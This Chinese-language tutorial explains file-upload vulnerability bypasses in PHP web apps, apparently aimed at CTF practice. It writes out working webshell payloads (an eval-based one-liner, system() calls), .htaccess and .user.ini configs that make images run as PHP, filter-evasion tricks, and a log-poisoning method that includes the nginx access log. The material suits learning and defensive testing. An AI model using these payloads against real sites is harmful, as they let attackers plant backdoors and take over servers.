目錄
定義
1.前端驗證
2.MIME驗證
3.htaccess文件和.user. ini
4.對內容進行了過濾,做了內容檢測
5.[ ]符號過濾
6.內容檢測'php' '[]' '{}' ';'
7.'()'也被過濾了
?8.``反引號也被過濾
9.文件頭檢測
定義
文件上傳漏洞是指攻擊者上傳了一個可執行文件(如木馬、病毒、惡意腳本、WebShell等)到服務器執行,并最終獲得網站控制權限的高危漏洞。
1.前端驗證
使用js在前端做了驗證后綴,但是后臺沒有驗證,前端驗證其實是我們本地的驗證,如看到類似如下js驗證代碼
可以通過F12開發者模式,把驗證代碼改了來繞過
就上傳成功了
之后就可以連接后門執行代碼了
2.MIME驗證
屬于后端的驗證,通過抓包可以看到Content-type字段的一個文件格式,如圖就是上傳了一個php文件所顯示的類型
如只允許上傳image/png格式,抓包將其改為允許的文件類型,就可以繞過。
注意:后門代碼需要特定格式后綴解析,不能一圖片后綴解析后門代碼(解析漏洞除外)。圖片中有后門代碼,不能被觸發,所以連接不上后面
而當上面都不行的時候,嘗試大小寫繞過,可以看上傳成功
但是不一定能正常解析,像這樣變成直接下載,這就是錯誤的解析 。這是根據中間件的一個搭建所決定的,有些大小寫繞過就很尷尬,有些你改了之后呢,就會出現解析不了直接下載,或者直接保存的情況
或者是通過多后綴解析,如php5,php7
3.htaccess文件和.user. ini
首先要了解.htaccess通常用于實現URL重寫、訪問控制、錯誤頁面定制、MIME類型設置等功能,且只在Apache下有效,在繞過文件上傳的限制中,在Apache全局配置文件中httpd.conf有這樣一條配置AddType application/x-httpd-php .php .phtml .php5 .pht .phps
這里配置的意思就是將以.php .phtml .php5 .pht .phps為后綴的文件按php文件進行解析。
AddType application/x-httpd-php是將所有文件按照php文件進行解析,如將jpg文件按照php文件進行解析
大部分網站都是用的
fastcgi
,這個東西可以理解為可以提供web服務器的一種api
,而apache
/nginx
/iis
這些服務器都會依靠這種api
來運行。而在服務器以fastcgi
啟動運行的時候,.user.ini
也是php
的一種配置文件,php.ini
是php
的配置文件,它可以做到顯示報錯,導入擴展,文件解析,web站點路徑等等設置。而.user.ini實際上就是一個可以由用戶自定義的php.ini。也就是說.user.ini不僅限于 Apache 服務器,同樣適用于 Nginx 和 IIS 服務器。
而
.user.ini
和.htaccess
一樣是對當前目錄的所有php
文件的配置設置,即寫了.user.ini
和它同目錄的文件會優先使用.user.ini
中設置的配置屬性。前提是有php文件
假設在某個目錄有一個
.htaccess文件,配置有兩種,一種如下,表示把muma.jpg文件并以php解析
<FilesMatch "muma.jpg"> //上傳的文件名
SetHandler application/x-httpd-php
</FilesMatch>
或者另一種配置直接解析某一類文件
AddType application/x-httpd-php .jpg
而.user.ini文件配置則是把文件包含進php文件執行,寫法同樣有2種:
auto_prepend_file=auto_append_file=
理解這些前置知識之后,下面說說怎么利用在文件上傳種,思路如下:
上傳一個
.htaccess文件/.user.ini文件,里面配置你后續需要上傳的一個帶有后門木馬的png或其他允許的類型文件,上傳成功之后,在把帶有后門木馬的png或其他允許的類型文件上傳,就可以解析文件了。注意.htaccess文件只在Apache下有效,但是是直接設置某種格式以php解析,而.user.ini文件可以是其他的中間價,但是.user.ini必需要當前文件夾下有php文件
.htaccess上傳的例子
首先創建一個.htaccess文件,寫入下面配置內容
<FilesMatch "a.jpg"> //上傳的文件名
SetHandler application/x-httpd-php
</FilesMatch>
抓包把Content-Type類型的application/octet-stream改為image/png(允許的類型)
.htaccess文件設置了a.jpg,所以后門文件
也需要命名為a。jpg,再把a.jpg上傳上去
這個時候就會以php去解析a.jpg了
.user.ini類似,如果是其他中間價如nginx的情況下,創建一個.user.ini文件,用上面說的兩個方法包含一個我們后續要上傳的后門文件a.txt
在把后門文件傳上去
如果有php文件,就會被包含進php解析了,訪問存在的php文件就可以getshell了
4.對內容進行了過濾,做了內容檢測
經過上面的方法,user.ini和png文件都可以上傳,但是包含后門代碼的文件上傳失敗,也就是說有內容檢測
測試檢查是過濾的什么代碼
如過濾了類似<?php這類標簽
在與user.ini聯用的基礎上,可以嘗試用短標簽繞過或者是其他語言的標簽繞過
<? echo'123'?> //前提是開啟配置參數short_open tags=on
<?=(表達式)?> //不需要開啟參數設置
<% echo '123 %> //前提是開啟配置參數asp tags=on
<script language="php">echo '1'</script> //不需要修改參數開
如.user.ini文件寫入:
auto_prepend_file=test.png
test png文件使用短標簽寫后門代碼 :
<?=eval($ POST[X]); ?>
修改后就成功上傳了
就可以getsgell了,注意index.php可以不寫,但是要記得.user.ini是需要當前目錄有php文件的
5.[ ]符號過濾
在上面的基礎上可能遇到[]也被過濾了
可以換成{ }
6.內容檢測'php' '[]' '{}' ';'
前置知識:如果一個php文件是由純 php代碼組成,那么php結束標識 ‘?>’,可以省略,建議省略,如果省略,最后一行必須加分號,而不省略,寫完整結構‘<?php ?>’,最后一行可以不寫分號下面例子
?
<?php echo '123' ?> //最后一行允許不加分號<?php echo '123' ; //必須加分號
而php中system()
函數用于執行外部程序,并顯示其輸出到 web 頁面 ,不需要依賴echo之類的輸出函數由這個思路,不需要eval這類執行函數,結果user.ini,使用<? system('tac fl*') ?>上傳即可
7.'()'也被過濾了
當括號也被過濾了,也就是說不能通過系統函數,如system()去觸發了,這是可以使用反引號``。
在php中相當于直接執行系統命令
?8.``反引號也被過濾
反引號都被過濾后,基本上就很難再這基礎上直接上傳了,所以要換個思路,下面說說通過包含日志文件去執行
前置知識:中間件一般會記錄日志,這些日志一般都會記錄很多header信息,如User-Agent瀏覽器信息等。
所以可以通過user.ini配置讓php文件包含一個中間價日志文件去執行利用代碼
一般訪問日志默認的位置,如果自定義就不行了
linux:/var/log/nginx/access.log
windows:C:\nginx\conf\nginx.conf
流程還是和user.ini一樣的,讓user.ini包含1.png,然后1.png里使用include把日志文件包含進來,有可能log關鍵字會被過濾,下面的寫法通過字符拼接繞過
auto_prepend_file=1.png //.user.ini內容
<?=include"/var/lo"."g/nginx/access.l"."og"?> //1.png內容
在通過UA來插入后門代碼
再去訪問就可以被觸發
9.文件頭檢測
以winhex打開一張gif,可以看到他是以GIF89a開頭,這個就是文件頭特征
常見的文件頭:
知道什么是文件頭之后,只需要在原來的基礎上,加上對應的文件頭就可以了 ,比如上傳user.ini或后門文件,在最開始的地方加上文件頭
//.user.ini文件配置
GIF89a
auto_prepend_file=1.png //1.png文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>
后面訪問是一樣的